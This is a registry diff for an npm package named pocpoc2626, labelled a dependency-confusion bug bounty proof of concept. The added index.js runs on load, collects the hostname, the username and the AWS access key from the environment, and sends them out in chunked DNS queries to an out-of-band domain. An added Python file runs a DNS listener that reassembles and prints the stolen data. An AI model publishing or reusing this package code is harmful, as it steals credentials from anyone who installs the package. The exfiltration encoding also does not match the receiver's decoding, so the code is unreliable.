pocpoc2626 99.99.9998 → 99.99.9999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +35 -6
- package/package.json +2 -3
- package/test/coso.py +70 -0
package/index.js
CHANGED
|
@@ -1,13 +1,42 @@
|
|
|
1
1
|
const dns = require('dns');
|
|
2
2
|
const os = require('os');
|
|
3
3
|
|
|
4
|
-
const
|
|
5
|
-
const username = os.userInfo().username.replace(/[^a-zA-Z0-9]/g, '');
|
|
4
|
+
const attackerDomain = "jrqoodsuxfzdpwqzthndxcm8f911cgqtn.oast.fun";
|
|
6
5
|
|
|
7
|
-
|
|
6
|
+
function base64url(str) {
|
|
7
|
+
return Buffer.from(str)
|
|
8
|
+
.toString('base64')
|
|
9
|
+
.replace(/\+/g, '-')
|
|
10
|
+
.replace(/\//g, '_')
|
|
11
|
+
.replace(/=/g, '');
|
|
12
|
+
}
|
|
8
13
|
|
|
9
|
-
const
|
|
14
|
+
const dataToExfil = JSON.stringify({
|
|
15
|
+
host: os.hostname(),
|
|
16
|
+
user: os.userInfo().username,
|
|
17
|
+
secret: process.env.AWS_ACCESS_KEY_ID || "no-key"
|
|
18
|
+
});
|
|
10
19
|
|
|
11
|
-
|
|
20
|
+
const encodedData = base64url(dataToExfil);
|
|
12
21
|
|
|
13
|
-
|
|
22
|
+
const chunkSize = 60;
|
|
23
|
+
const chunks = [];
|
|
24
|
+
for (let i = 0; i < encodedData.length; i += chunkSize) {
|
|
25
|
+
chunks.push(encodedData.slice(i, i + chunkSize));
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
async function sendDnsQueries() {
|
|
29
|
+
const sessionId = Math.random().toString(36).substring(2, 6);
|
|
30
|
+
|
|
31
|
+
for (let index = 0; index < chunks.length; index++) {
|
|
32
|
+
const payload = `${index}.${sessionId}.${chunks[index]}.${attackerDomain}`;
|
|
33
|
+
|
|
34
|
+
await new Promise((resolve) => {
|
|
35
|
+
dns.lookup(payload, (err, address, family) => {
|
|
36
|
+
resolve();
|
|
37
|
+
});
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
sendDnsQueries();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "pocpoc2626",
|
|
3
|
-
"version": "99.99.
|
|
3
|
+
"version": "99.99.9999",
|
|
4
4
|
"description": "Bug Bounty PoC for Dependency Confusion",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
@@ -9,7 +9,6 @@
|
|
|
9
9
|
"author": "Security Researcher",
|
|
10
10
|
"license": "MIT",
|
|
11
11
|
"dependencies": {
|
|
12
|
-
"internal-company-module-test-1337": "^99.99.9996"
|
|
13
|
-
"pocpoc2626": "^99.99.9997"
|
|
12
|
+
"internal-company-module-test-1337": "^99.99.9996"
|
|
14
13
|
}
|
|
15
14
|
}
|
package/test/coso.py
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
import binascii
|
|
3
|
+
import json
|
|
4
|
+
from dnslib import DNSRecord, QTYPE, RR, A
|
|
5
|
+
|
|
6
|
+
ATTACKER_DOMAIN = ".139-162-186-101.ip.linodeusercontent.com"
|
|
7
|
+
FAKE_RESPONSE_IP = "1.2.3.4"
|
|
8
|
+
|
|
9
|
+
# Dizionario per memorizzare i frammenti HEX (in questo caso usiamo una lista
|
|
10
|
+
# assumendo che arrivino in ordine, dato che il TCP jitter del payload rallenta le richieste)
|
|
11
|
+
sessions = {}
|
|
12
|
+
|
|
13
|
+
def main():
|
|
14
|
+
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
15
|
+
|
|
16
|
+
try:
|
|
17
|
+
server_socket.bind(('0.0.0.0', 53))
|
|
18
|
+
print("[*] Server STEALTH in ascolto su UDP 53...")
|
|
19
|
+
except PermissionError:
|
|
20
|
+
return
|
|
21
|
+
|
|
22
|
+
while True:
|
|
23
|
+
try:
|
|
24
|
+
data, addr = server_socket.recvfrom(4096)
|
|
25
|
+
dns_request = DNSRecord.parse(data)
|
|
26
|
+
qname_obj = dns_request.questions[0]._qname
|
|
27
|
+
qname = str(qname_obj).rstrip('.')
|
|
28
|
+
|
|
29
|
+
if qname.endswith(ATTACKER_DOMAIN.strip('.')):
|
|
30
|
+
|
|
31
|
+
payload = qname.replace(ATTACKER_DOMAIN.strip('.'), "").strip('.')
|
|
32
|
+
parts = payload.split('.')
|
|
33
|
+
|
|
34
|
+
if len(parts) >= 2:
|
|
35
|
+
session_id = parts[0]
|
|
36
|
+
chunk_data = parts[1]
|
|
37
|
+
|
|
38
|
+
if session_id not in sessions:
|
|
39
|
+
sessions[session_id] = []
|
|
40
|
+
print(f"[*] Nuova sessione stealth avviata: {session_id}")
|
|
41
|
+
|
|
42
|
+
if chunk_data == "eof":
|
|
43
|
+
# Termine della trasmissione: Riassembla e decodifica l'hex
|
|
44
|
+
full_hex = "".join(sessions[session_id])
|
|
45
|
+
try:
|
|
46
|
+
decoded_str = binascii.unhexlify(full_hex).decode('utf-8')
|
|
47
|
+
json_data = json.loads(decoded_str)
|
|
48
|
+
|
|
49
|
+
print(f"\n[+] ESFILTRAZIONE COMPLETATA (IP: {addr[0]})")
|
|
50
|
+
print(json.dumps(json_data, indent=4))
|
|
51
|
+
print("-" * 50)
|
|
52
|
+
except Exception as e:
|
|
53
|
+
print(f"[!] Errore decodifica: {e}")
|
|
54
|
+
|
|
55
|
+
del sessions[session_id]
|
|
56
|
+
else:
|
|
57
|
+
# Salva il blocco HEX e rispondi
|
|
58
|
+
sessions[session_id].append(chunk_data)
|
|
59
|
+
|
|
60
|
+
# Risposta per mantenere la connessione attiva e silenziosa
|
|
61
|
+
reply = dns_request.reply()
|
|
62
|
+
if dns_request.questions[0].qtype == QTYPE.A:
|
|
63
|
+
reply.add_answer(RR(rname=qname_obj, rtype=QTYPE.A, rclass=1, ttl=60, rdata=A(FAKE_RESPONSE_IP)))
|
|
64
|
+
server_socket.sendto(reply.pack(), addr)
|
|
65
|
+
|
|
66
|
+
except Exception as e:
|
|
67
|
+
pass
|
|
68
|
+
|
|
69
|
+
if name == "main":
|
|
70
|
+
main()
|